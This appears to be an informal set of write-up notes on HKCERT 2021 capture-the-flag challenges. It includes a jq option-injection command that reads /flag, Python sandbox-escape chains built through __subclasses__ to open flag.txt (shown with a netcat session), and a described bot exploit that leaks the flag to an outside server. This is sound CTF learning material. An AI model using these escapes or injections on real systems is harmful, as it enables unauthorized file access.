Page MenuHomedesp's stash

hkcert21.md
No OneTemporary

hkcert21.md

### jq playground
mainly just messing around with parameters and option orders to read file - i figured this out 5 mins after the competition ended lol ` echo '{}' | jq '--raw-output' -R -n '[inputs] | add' '/flag'` by changing POST data options to include `--raw-output` `-R` `-n` `[inputs] | add` and filter to be `/flag`, json can be anything (i chose `{}`)
### all missing
pyjail using builtins dict for persistence, and `__class__`, `__base__`, and `__subclasses__` to dig until `FileIO` is found (`#!py ().__class__.__base__.__subclasses__().__getitem__(92).__subclasses__().__getitem__(0).__subclasses__().__getitem__(0)('flag.txt').readall()`)
(also see pyjail2 for `The Remaining One`)
### the remaining one
```py
$ nc chalp.hkcert21.pwnable.hk 28005
__builtins__
{}
__builtins__.update({0:().__class__})
None
__builtins__.update({0:__builtins__.get(0).__base__})
None
__builtins__.update({0:__builtins__.get(0).__subclasses__})
None
__builtins__.update({0:__builtins__.get(0)()})
None
__builtins__.update({0:__builtins__.get(0).__getitem__})
None
__builtins__.update({0:__builtins__.get(0)(92)})
None
__builtins__.update({0:__builtins__.get(0).__subclasses__})
None
__builtins__.update({0:__builtins__.get(0)()})
None
__builtins__.update({0:__builtins__.get(0).__getitem__})
None
__builtins__.update({0:__builtins__.get(0)(0)})
None
__builtins__.update({0:__builtins__.get(0).__subclasses__})
None
__builtins__.update({0:__builtins__.get(0)()})
None
__builtins__.update({0:__builtins__.get(0).__getitem__})
None
__builtins__.update({0:__builtins__.get(0)(0)})
None
__builtins__.get(0)('flag.txt').readall()
b'hkcert21{cr0sS_namesP4se__builtin__breaK_the_JAIL}\n'
```
### 回到12 / scratch-tic-tac-toe
they used a comment note to hide the flag comparison codes, and caesar cipher that i rewrote in python and reversed
```py
#sanity check
chars = r"abcdefghijklmnopqrstuvwxyz0123456789{}_"
ans = "hkcert"
result = ""
for i in range(0, len(ans)):
result = result + chars[(chars.index(ans[i]) + 18) % len(chars) + 1]
print(result)
#solve
result = r"03vx{_ihq0xhh7svtx}t{sv180x{r"
result2 = ""
for i in range(0, len(result)):
result2 = result2 + chars[(chars.index(result[i]) - 18) % len(chars) - 1]
print(result2)
```
### shuffle
brute force checker with python:
```py
import random
flag = ''
out = b'p\xbcl\xf0Y3C#\xf5\xf8\xb0\xe6\x98%\x17\xaf\xa8\x1d\xf1\x19\xb3i\x9aj\x1e\xccx\xb7F\xea\xfa]\r\xf1X\xc1\x8e\xee'
for i in range(0, 38):
for s in r'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{} _'.encode():
print("checking " + chr(s) + " on " + str(i) + " char")
random.seed(38)
output = b''
testflag = (flag + chr(s)).encode()
for c in testflag:
#print(chr(c))
m = bin(c)[2:].rjust(8, '0')
#print(m)
res = list(map(int, m))
#print(res)
random.shuffle(res)
shuffled = int(''.join(map(str, res)), 2)
output += bytes([shuffled])
if out[i] == output[i]:
flag += chr(s)
print(flag)
break
```
### timebomb
written in .NET core C#, cant use dnspy so i copied the decompiled code from ilspy and pasted to an online compiler and modified to get the flag lmao
### scattered
`strings` binary where they obfuscated all the strings - i didnt bother to figure out the logic, so i just patched one of the functions that unobfuscates the first string (id 1) to unobfuscate the flag (id 0, right in front of the first string reference) by changing the offsets instead lmfao
### the hardest path
"lost" - literally sha collision (`sha256checkprefix.py`) and graph searching `lostcheck.py` (literally cpsc 110 stuff lmfao structural recursion with accumulators) - cant just use any of the paths either since it would stack overflow if its not the shortest path
`sha256checkprefix.py` (basically modified from online):
```py
#!/usr/bin/env python3
import datetime
import multiprocessing
import hashlib
import base64
import sys
def computesha(process_number, number_of_processes, max_counter, results):
counter = process_number # every process starts with a different counter
data = base64.b64decode('vy0TXkmfC+U=')
while counter < max_counter: #stop after max_counter jobs have been started
counterb = str(counter).encode()
newHash = hashlib.sha256(data + counterb).digest()
if newHash.startswith(b'\x00\x00\x00'):
print(str(newHash))
print(str(counter))
b = base64.b64encode(counterb).decode()
print(b)
# return the results through a queue
results.put((str(newHash), str(counter), base64.b64encode(str(counter).encode()).decode()))
counter += number_of_processes # 'jump' to the next chunk
if __name__ == '__main__':
# execute this file with two command line arguments:
number_of_processes = 8 #int(sys.argv[1])
max_counter = 100000000 #int(sys.argv[2])
# this queue will be used to collect the results after the jobs finished
results = multiprocessing.Queue()
processes = []
# start a number of processes...
for i in range(number_of_processes):
p = multiprocessing.Process(target=computesha, args=(i,
number_of_processes,
max_counter,
results))
p.start()
processes.append(p)
# ... then wait for all processes to end
for p in processes:
p.join()
# collect results
while not results.empty():
print(results.get())
results.close()
```
`lostcheck.py` (full file is too big - it's directly modified from `lost.py`):
```py
import os
import sys
import inspect
mystery = 'NEWS'
sys.setrecursionlimit(2000) #must have or else we wont get all the possible paths
def _29aa7a86665899ed(visited, indexes): raise NameError('😵‍💫💫🧱')
def _f42fb5e137443877(_a78810bb76cc7d70, *_ab1bbf35017f4f42):
def wrap(visited, indexes):
if _a78810bb76cc7d70: #if true - reached jackpot
s = ''
for i in indexes:
s += mystery[i]
print(s)
with open('lost.txt', 'a') as f: f.write(s + "\n\n\n")
with open('visited.txt', 'a') as f: f.write(str(list(zip(visited, indexes))) + "\n\n\n\n\n")
raise TypeError("success trace:")
for i in range(0, len(_ab1bbf35017f4f42)):
try:
if _ab1bbf35017f4f42[i] in visited:
continue
#print("visited: " + str(visited) + "trying: " + _ab1bbf35017f4f42[i])
visitedcopy = visited.copy()
visitedcopy.append(_ab1bbf35017f4f42[i])
indexescopy = indexes.copy()
indexescopy.append(i)
return globals()[_ab1bbf35017f4f42[i]](visitedcopy, indexescopy)
except NameError as e:
continue
except RuntimeError as e:
continue
except RecursionError as e:
continue
except TypeError as e: #allow getting of all possible paths even though we signified end of branch through raise
continue
raise RuntimeError("exhausted")
return wrap
```
### infant browser
i ask the bot to download a `test.desktop` file using xdg-open and run it using `file:///tmp/test.desktop` to ping my website `despawningbone.me` so i get the flag in the url in the logs - except i fetched the file from nextcloud originally and the file name mustve been different lmao
`catbox.moe` worked well though
### lets chill
theres a html generator thing (`index.html`) - the data is coded but the parser is way too slow; i used node and a lot of general code optimizations and got to `hkcert21{l3t5_ch1ll_4nd_w4` but thats not the full flag sad
(a long while after the ctf i realized we literally guessed one character off (`hkcert21{l3t5_ch1ll_4nd_w4it_f0r_th3_fl4g}`) from the actual flag lmao `hkcert21{l3t5_ch1ll_4nd_w41t_f0r_th3_f14g}`)
### because i said it
this one is colliding the php 0e magic hash too but couldnt generate the hash fast enough with python and gave up - my teammate did it with his homelab tho so very nice

File Metadata

Mime Type
text/x-python
Expires
Sun, Aug 3, 8:03 PM (1 h, 40 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
08/98/8832666083ca0e07ec90fd8696a2

Event Timeline